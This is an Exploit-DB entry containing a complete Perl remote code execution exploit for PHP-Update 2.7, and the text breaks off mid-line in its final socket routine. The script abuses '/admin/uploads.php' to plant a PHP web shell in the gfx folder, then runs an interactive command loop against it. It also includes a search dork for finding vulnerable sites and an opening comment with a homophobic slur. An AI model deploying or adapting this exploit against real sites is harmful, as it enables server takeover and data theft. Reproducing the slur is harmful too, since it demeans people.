Exploit-DB #3020
Description: PHP-Update 2.7 - '/admin/uploads.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-12-26
Author: undefined1_

Exploit:
#!/usr/bin/perl

# rgod u fucking little piece of shit faggot. way to ruin a private exploit, scumbag

use strict;
use IO::Socket;
use MIME::Base64;
use Getopt::Std;


my $app = "PHP-Update 2.7";
my $type = "Remote Code Execution";
my $author = "undefined1_";
my $date = "2006-10-21";
my $settings = "none";
my $dork = "+\"powered by php update\"";

my %opt;
getopts("t:", \%opt);
$| = 1;
print ":: $app $type - by $author ::\n\n\n";

our $url = $opt{t} || usage();
our $file = randstring(12,16).".php";

if($url =~ m/^(?:http:\/\/)(.*)/) {
	$url = $1;
}
if($url !~ m/^.*\/$/) {
	$url .= "/";
}

get_shell($url);



sub get_shell {
	my $url = shift;
	
	print "uploading shell ... \t";
	my $code = '<?php ini_set("max_execution_time", 0); echo "++f1++";';
	$code .= 'if(isset($_POST["c"])) { $cmd = base64_decode($_POST["c"]); $res = `$cmd`; echo base64_encode($res); } ';
	$code .= 'if(isset($_POST["d"])) { if (@ini_get("safe_mode") || strtolower(@ini_get("safe_mode")) == "on") {echo "1";} else {echo "0";} ';
	$code .= '$ds = @ini_get("disable_functions"); if(!empty($ds)) { $ds = str_replace(" ","",$ds); $ds = explode(",",$ds); ';
	$code .= 'if(in_array("system", $ds)) { echo "1"; } else { echo "0"; } } else { echo "0"; } } ';
	$code .= 'if(isset($_POST["del"])) { chmod("'.$file.'", 0777); unlink("'.$file.'"); } echo "++f2++"; ?>';
	
	my $boundary = "--------------------------[PII_REDACTED][PII_REDACTED]8222351";	
	my $content  = "--$boundary\r\n";
	$content .= "Content-Disposition: form-data; name=\"logincookie[user]\"\r\n\r\n";
	$content .= "\r\n";
	$content .= "--$boundary\r\n";
	$content .= "Content-Disposition: form-data; name=\"filecat\"\r\n\r\n";
	$content .= "gfx\r\n";
	$content .= "--$boundary\r\n";
	$content .= "Content-Disposition: form-data; name=\"rights[7]\"\r\n\r\n";
	$content .= "1\r\n";
	$content .= "--$boundary\r\n";
	$content .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
	$content .= "login\r\n";
	$content .= "--$boundary\r\n";
	$content .= "Content-Disposition: form-data; name=\"userfile\"; filename=\"$file\"\r\n";
	$content .= "Content-Type: text/plain\r\n\r\n".$code."\r\n";
	$content .= "--$boundary--\r\n";
	my $data = "POST " . parse_page($url . "admin/uploads.php") . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Connection: close\r\n";
	$data .= "Content-Type: multipart/form-data; boundary=$boundary\r\n";
	$data .= "Content-Length: " . length($content) . "\r\n\r\n";
	my $recv = sendpacket(parse_host($url), parse_port($url), $data.$content);

	$content = "d=1";
	$data = "POST " . parse_page($url . "gfx/$file") . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Connection: close\r\n";
	$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$data .= "Content-Length: " . length($content) . "\r\n\r\n";
	$recv = sendpacket(parse_host($url), parse_port($url), $data.$content);
		
	if($recv !~ m/200 OK/m) {
		print "failed\n";
		return;
	}		
		
	my $index1 = index($recv, "++f1++") + 6;
	my $index2 = index($recv, "++f2++", $index1);
	if($index1 < 0 || $index2 < 0) {
		print "failed\n";
		return;
	}
	print "OK\n";
	print "shell @ gfx/$file\n";
	
	$recv = substr($recv, $index1, $index2-$index1);
	my $clean = 0;

	if(substr($recv,0,1) == "1") {
		print "safe mod on, exiting\n";
		clean();
	}
	else {
		print "safe mod off\n";
	}
	if(substr($recv,1,1) == "1") {
		print "system() disabled, exiting\n";
		clean();
	}
	else {
		print "system() enabled\n";
	}

	$SIG{INT} = \&clean;
	$SIG{KILL} = \&clean;
	$SIG{QUIT} = \&clean;
	$SIG{SEGV} = \&clean;
	while(1) 
	{
		print "shell\$ ";
		my $command;
		while(<STDIN>) 
		{
			$command=$_;
			chomp($command);
			last;
		}
		if($command eq "exit")
		{
			clean();
		}

		$content = "c=".encode_base64($command);
		$data = "POST " . parse_page($url . "gfx/$file") . " HTTP/1.1\r\n";
		$data .= "Host: " . parse_host($url) . "\r\n";
		$data .= "Connection: close\r\n";
		$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$data .= "Content-Length: " . length($content) . "\r\n\r\n";
		$recv = sendpacket(parse_host($url), parse_port($url), $data . $content);
		
		$index1 = index($recv, "++f1++") + 6;
		$index2 = index($recv, "++f2++", $index1);
		if($index1 >= 0 || $index2 >= 0) {
			my $resp = decode_base64(substr($recv, $index1, $index2-$index1));
			chomp($resp);
			print "$resp\n";
		}		
	}	
}

sub clean {
	my $content = "del=1";
	my $data = "POST " . parse_page($url . "gfx/$file") . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Connection: close\r\n";
	$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$data .= "Content-Length: " . length($content) . "\r\n\r\n";
	sendpacket(parse_host($url), parse_port($url), $data.$content);
	exit;
}


# ======================================================

sub parse_host {
	my $url = shift;
	if($url =~ m/^([^\/:]+).*\//) {
		return $1;
	}
	return "127.0.0.1";
}

sub parse_port {
	my $url = shift;
	if($url =~ m/^(?:[^\/:]+):(\d+)\//) {
		return $1;
	}
	return "80";
}

sub parse_page {
	my $url = shift;
	if($url =~ m/^(?:[^\/]+)(\/.*)/) {
		return $1;
	}
	return "/";
}

sub randstring(\$,\$) {
	my $min = shift;
	my $max = shift;

	my $length = int( (rand(65535)%($max-$min+1))+$min);
	my $ret = "";
	for(my $i = 0; $i < $length; $i++)
	{
		my $w = int(rand(3));
		if($w == 0)
		{
			$ret .= chr(97 + int(rand(26)));
		}
		elsif($w == 1)
		{
			$ret .= chr(65 + int(rand(26)));
		}
		else
		{
			$ret .= chr(48 + int(rand(10)));
		}
	}
	return $ret;
}

sub sendpacket {
	my $server = shift;
	my $port = shift;
	my $data = shift;

	my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die ":: Could not connect to $server:80 $!\n";
	print $sock "$dat